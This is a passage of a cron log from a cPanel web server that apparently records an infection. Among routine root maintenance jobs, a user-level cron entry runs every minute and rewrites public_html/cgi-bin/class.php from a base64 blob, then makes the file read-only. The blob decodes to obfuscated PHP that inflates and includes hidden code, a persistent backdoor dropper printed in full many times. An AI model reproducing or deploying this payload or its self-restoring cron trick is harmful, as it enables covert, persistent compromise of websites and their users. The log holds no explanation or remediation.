jg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:13:01 server CROND[11029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:13:01 server CROND[11030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:13:01 server CROND[11031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:14:01 server CROND[11402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:14:01 server CROND[11403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:14:01 server CROND[11404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:15:01 server CROND[11788]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:15:01 server CROND[11790]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 12:15:01 server CROND[11796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:15:01 server CROND[11795]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:15:01 server CROND[11799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:15:01 server CROND[11792]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 12:15:01 server CROND[11794]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:15:01 server CROND[11793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:15:01 server CROND[11798]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  6 12:15:01 server CROND[11797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:16:01 server CROND[12690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:16:01 server CROND[12691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:16:01 server CROND[12692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:17:01 server CROND[13210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:17:01 server CROND[13211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:17:01 server CROND[13212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:18:01 server CROND[13638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:18:01 server CROND[13637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:18:01 server CROND[13639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:19:01 server CROND[14078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:19:01 server CROND[14077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:19:01 server CROND[14079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:20:01 server CROND[14459]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 12:20:01 server CROND[14462]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:20:01 server CROND[14461]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:20:01 server CROND[14464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:20:01 server CROND[14468]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:20:01 server CROND[14465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:20:01 server CROND[14463]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:20:01 server CROND[14467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:20:01 server CROND[14466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:21:01 server CROND[15289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:21:01 server CROND[15290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:21:01 server CROND[15291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:22:01 server CROND[15691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:22:01 server CROND[15693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:22:01 server CROND[15692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:23:01 server CROND[16082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:23:01 server CROND[16083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:23:01 server CROND[16084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:24:01 server CROND[16446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:24:01 server CROND[16447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:24:01 server CROND[16448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZa